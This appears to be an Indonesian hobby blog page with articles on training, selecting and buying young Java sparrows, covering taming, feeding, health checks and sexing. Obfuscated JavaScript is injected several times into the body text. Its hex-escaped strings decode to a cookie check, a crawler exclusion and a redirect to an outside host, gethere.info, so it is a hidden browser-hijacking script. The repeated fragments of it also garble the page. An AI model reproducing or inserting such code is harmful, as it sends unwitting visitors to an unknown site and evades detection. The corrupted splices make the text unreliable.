IBX5980432E7F390 Melatih Bakalan Burung Gelatik wingko Berkicau Kupas Triknya - Kicauan Burung Lovebird Ngekek

Melatih Bakalan Burung Gelatik wingko Berkicau Kupas Triknya

Melatih Bakalan Burung Gelatik wingko Berkicau

Melatih Bakalan Burung gelatik Wingko Berkicau-cara paling mudah melatih biar burung gelatik wingko cepat berkicau,dengan cara melatih dan merawatnya.burung ini tergolong sangat simpel untuk kita ajar mengeluarkan bunyinya kalau di banding dengan jenis burung lain,misal kacer dan murai batu.

Burung gelatik wingko yang mempunyai umur di bawah 7 bulan,ia akan mudah mengikuti keadaan dengan lingkungan sekitarnya. Sifatnya burung gelatik wingko sangat praktis mengikuti keadaan tersebut yang mempermudah,untuk melatih bunyi kicauannya. sangat berbeda jauh dengan burung berkicau lainnya yang biasanya sulit untuk di jinakkan.Melatih Bakalan Burung Gelatik wingko Berkicau

Jika burung berkicau lainnya tidaklah rajin berkicau bila belum dilatih, maka burung gelatik wingko ini sangatlah rajin berkicau walaupun masih bakalan dan belum terlatih sedikitpun.

Jika kita menemukan burung yang jinak, maka cepatlah dipilih, lantaran burung itu niscaya adaptasinya cepat. Jika burung tersebut jinak, maka sudah niscaya bahwa burung ini akan cepat mengikuti keadaan dengan lingkungan barunya.

Apabila burung ini sudah jinak, maka burung gelatik wingko ini pasti rajin berkicau setiap harinya dan dapat berkicau dengan baik.

Ciri-ciri gelatik wingko yang jinak adalah pada bulunya. Jika bulu tersebut mengkilat, halus, lembut, maka sudah pasti burung tersebut jinak. Sedangkan ciri-ciri burung yang liar yaitu tidak damai, suka menabrak-nabrak sangkar.

Jika burung tersebut tidak mau membisu dan sering menabrakkan dirinya sendiri di sangkar maka yang terjadi adalah keanehan yang timbul akibat burung sering menabrak-nabrak sangkar tersebut.

Jika di pasar burung tersebut sudah tidak ada lagi burung yang jinak, dan Anda terpaksa membeli burung yang liar, maka janganlah risau. Burung yang liar bukan berarti burung tersebut tidak bisa dijinakkan.

Ada cara untuk menjinakkan burung yang liar. Tutorialnya adalah biasakan burung makan jangkrik atau sejenisnya dan biasakan pula burung makannya di tangan kita. Dan disemprotkan setiap harinya supaya burung tersebut dapat cepat jinak.

Ketika memberi makan dengan meletakkan makanan tersebut di tangan kita maka burung akan terbiasa dan tidak takut lagi dengan orang yang ada di sekitarnya. Dengan seakan-akan itu, burung akan cepat jinak dan akan terjalin kedekatan antara pemilik dan burungnya.

Pemberian pakan dilakukan dua kali sehari. Yaitu pada pagi hari dan sore hari. Pemberian pakan jangkrik pada pagi hari dan sore hari sekitar satu atau dua ekor jangkrik.

Dalam menyemprotkan burung dengan air maka janganlah sampai burung berair kuyup. Jika burung gelatik wingko ini berair kuyup, maka yang terjadi ialah burung ini akan sakit.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)g\-mo)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])

Baca juga: Ciri Fisik dan bunyi murai watu medan gacor

Wajib Penting Di baca

  • Cara Memaster Burung Berkicau Menggunakan Gelatik
  • Umur Induk Burung Gelatik Bisa Dijodohkan
  • Ukuran Sangkar Burung Gelatik Wingko Dewasa
  • Jenis Ciri Fisik Burung Gelatik Jawa Bagus
  • Cara Membedakan Kelamin Gelatik Jantan Betina
  • Cara Memaster Burung Berkicau Dengan Gelatik Wingko
  • Pakan Burung Gelatik Wingko Piyikan Dan Dewasa
  • Pakan Alami Burung Gelatik Hutan Dan Budidaya
  • Pakan Alami Burung Gelatik Wingko Gacor
  • Cara Mudah Merawat Burung Gelatik Jawa
  • Cara Waktu Memaster Bakalan Burung Gelatik

Cara jitu Memilih Dan Membeli Burung Gelatik Wingko

Cara jitu menentukan dan membeli burung gelatik wingko-Dalam membeli burung gelatik wingko di pasaran maupun di daerah peternak,maka supaya tidak terjadi yang tidak di inginkan,misal tertipu,salah membeli dll,perhatikan tips trik di bawah dalam membeli burung gelatik wingko di pasaran.

Saat ingin membeli burung gelatik wingko, maka kita harus memperhatikan dengan baik, apakah burung yang kita beli nantinya sehat atau tidak. Dalam menentukan burung yang sehat bukanlah kasus yang praktis.

Apa kesulitan dikala memilih burung gelatik wingko? Kesulitannya adalah melihat burung yang sehat dan tidak sehat. Karena penjual burung di pasar burung mencampurkan antara burung yang kurang sehat dan yang sakit.Cara jitu Memilih Dan Membeli Burung Gelatik Wingko

Dalam memilah burung yang sakit dan tidak sakit, kita bisa memakai cara melihat kotoran yang dikeluarkan oleh burung tersebut. Jika burung tersebut tidak sakit atau sehat maka kondisi kotorannya kering dan agak cair sedikit.

Tetapi jikalau burung tersebut sakit maka kotorannya nerwarna hijau dan kotorannya cair, tidak seakan-akan burung yang sedang sehat.

Jika di alam bebas, burung ini kuliner alaminya yaitu ulat. Sedangkan di penangkaran burung ini kuliner pokoknya adalah voer. Tidaklah mudah dalam menyampaikan pakan voer kepada burung. Sebab, burung sudah terbiasa di alam bebas dengan makanannya yaitu ulat. Maka dibutuhkan kesabaran yang ekstra ketika menunggu burung tersebut sampai mau makan voer.

Jika burung tersebut dibeli di pasar burung masih bakalan, maka burung tersebut belum tentu mau memakan voer.

Maka dari itu kita juga perlu memperhatikan kotoran yang keluar dari burung tersebut. Jika burung tersebut sudah mau memakan voer, maka warna kotoran yang keluar dari burung tersebut berwarna seperti voer tersebut.

Jika burung tersebut belum juga mau memakan voer yang kita sediakan, maka kita perlu berfikir bagaimana cara supaya burung tersebut mau memakan voer yang kita sediakan. Berikut cara biar burung mau memakan voer yang kita sediakan:

  • Tutuplah sangkar dengan memakai kerodong. Tujuannya semoga burung tidak terganggu dengan suasana di lingkungan sekitarnya. Dengan cara ini diharapkan agar burung mau memakan burung kuliner yang telah disediakan di dalam sangkar.
  • Sediakan cadangan makanan dan jangan hingga kehabisan stok makanan burung.
  • Jika burung tidak mau memakan voer, maka berilah makanan jangkrik biar burung tersebut tertarik untuk memakan makanan yang telah kita sediakan.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)g1)(navigator[_0x446d[3]]

Baca juga: Ciri Fisik dan suara murai kerikil medan gacor

Wajib Penting Di baca

  • Tips Dalam Penangkaran Burung Gelatik Silver
  • Burung Gelatik Adalah Pemaster Burung Terbaik
  • Pakan Burung Gelatik Wingko Piyikan Dan Dewasa
  • Pakan Alami Burung Gelatik Wingko Gacor
  • Jenis Ciri Fisik Burung Gelatik Jawa Bagus
  • Pakan Alami Burung Gelatik Hutan Dan Budidaya
  • Penggemar Burung Berkicau Semakin Bertambah
  • Teknik Memaster Burung Gelatik Cepat Nangkap
  • Umur Pemberian Pakan Voer Burung Gelatik Wingko
  • Cara Cepat Memaster Jenis Burung Berkicau
  • Melatih Bakalan Burung Gelatik wingko Berkicau

Ciri Bakalan Burung Gelatik wingko Bagus Unggulan

Ciri bakalan burung gelatik wingko cantik unggulan-Dalam budidaya burung berkicau,kualitas dan burung yang unggul yaitu wajib kita seleksi.apalagi bila menentukan burung gelatik bakalan atau anakan yang masih belum tahu kualitas kedepanya.

Jika pemelihara burung gelatik ingin membeli burung gelatik wingko yang masih bakalan maka harus diteliti terlebih dahulu. Jika tidak dilihat dengan benar dan langsung membelinya saja, maka mampu saja burung tersebut tidak sehat dan cacat.

Pada dikala pemelihara burung gelatik wingko tiba ke pasar burung, maka pemelihara burung ini harus memperhatikan dari segi kicauan dan mental burung yang baik.Ciri Bakalan Burung Gelatik wingko Bagus Unggulan

Apabila pemelihara salah dalam membeli burung yang mentalnya kecil dan kicauannya yang tidak merdu, maka itu akan terbawa seperti itu saja hingga burung tersebut dewasa. Kecuali, burung tersebut dilatih setiap harinya supaya mentalnya tidak kecil dan bunyinya menjadi merdu.

Akan tetapi, burung gelatik wingko ini jarang sekali kalau memang dari bakalannya sifatnya sudah begitu, maka sifatnya akan terbawa-bawa sampai burung tersebut sampaumur. Di bawah ini akan dijelaskan apa-apa saja yang harus diperhatikan saat membeli bakalan burung gelatik wingko:

  • Postur Tubuh Burung Gelatik Wingko

Memperhatikan postur badan burung gelatik wingko sangatlah penting. Karena dari postur tubuhlah pemelihara burung mampu melihat apakah burung ini cacat atau tidak. Dalam melihat postur tubuh burung pemelihara burung harus memperhatikan beberapa karakteristik yang perlu dilihat.

Karakteristikk tersebut yaitu: Postur tubuhnya yang proporsional, tidak cacat, dan keadaan paruhnya tidak tipis dan tidak juga tebal.

Jika pemelihara ingini membeli bakalan burung gelatik wingko, maka lihatlah apakah burung tersebut warna bulunya kusam atau tidak. Pilihlah burung gelatik wingko dengan warna bulu yang cerah dan mengkilat.

Kenapa harus memilih burung yang warna bulu yang cerah dan  mengkilat? Karena burung yang warna bulunya yang cerah dan mengkilat itulah yang menunjukan bahwa burung tersebut sehat.

  • Jenis Kelamin Burung Gelatik Wingko

Dalam melihat jenis kelamin burung gelatik wingko, ada beberapa kriteria yang harus dipenuhi. Antara burung gelatik wingko jantan dan betina tidaklah sama kriteria yang dimilikinya. Bila burung gelatik wingko jantan lebih rajin berkicau, maka lain halnya dengan burung gelatik wingko betina yang jarang sekali berkicau.

Cara membedakan antara jantan dan betina adalah melihar garis hitam yang terdapat di bawah paruh. Jika gelatik jantan garis hitam terdapat dari dada hingga ke perut yang tidak terputus. Sedangkan yang betinnya terdapat garis hitam yang terdapat di dada hingga ke perut terputus-putus.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)

Baca juga: Ciri Fisik dan suara murai kerikil medan gacor

Wajib Penting Di baca

  • Ciri Khas Burung Berkicau Siap Masuk kontes
  • Tempat Keberadaan Burung gelatik Jawa Dihutan
  • Penggemar Burung Berkicau Semakin Bertambah
  • Umur Pemberian Pakan Voer Burung Gelatik Wingko
  • Pakan Burung Gelatik Wingko Piyikan Dan Dewasa
  • Ciri Induk Burung Gelatik Jawa Betina Bagus
  • Pakan Alami Burung Gelatik Hutan Dan Budidaya
  • Ciri Fisik keunggulan Burung Gelatik Java Silver
  • Kekurangan-kelebihan Memaster Burung Dengan Burung
  • Pakan Kroto Dan Ulat Hongkong Burung Gelatik Wingko
  • Jenis Ciri Fisik Burung Gelatik Jawa Bagus

Berlangganan Untuk Mendapatkan Artikel Terbaru:

0 Komentar Untuk " Melatih Bakalan Burung Gelatik wingko Berkicau Kupas Triknya"

Posting Komentar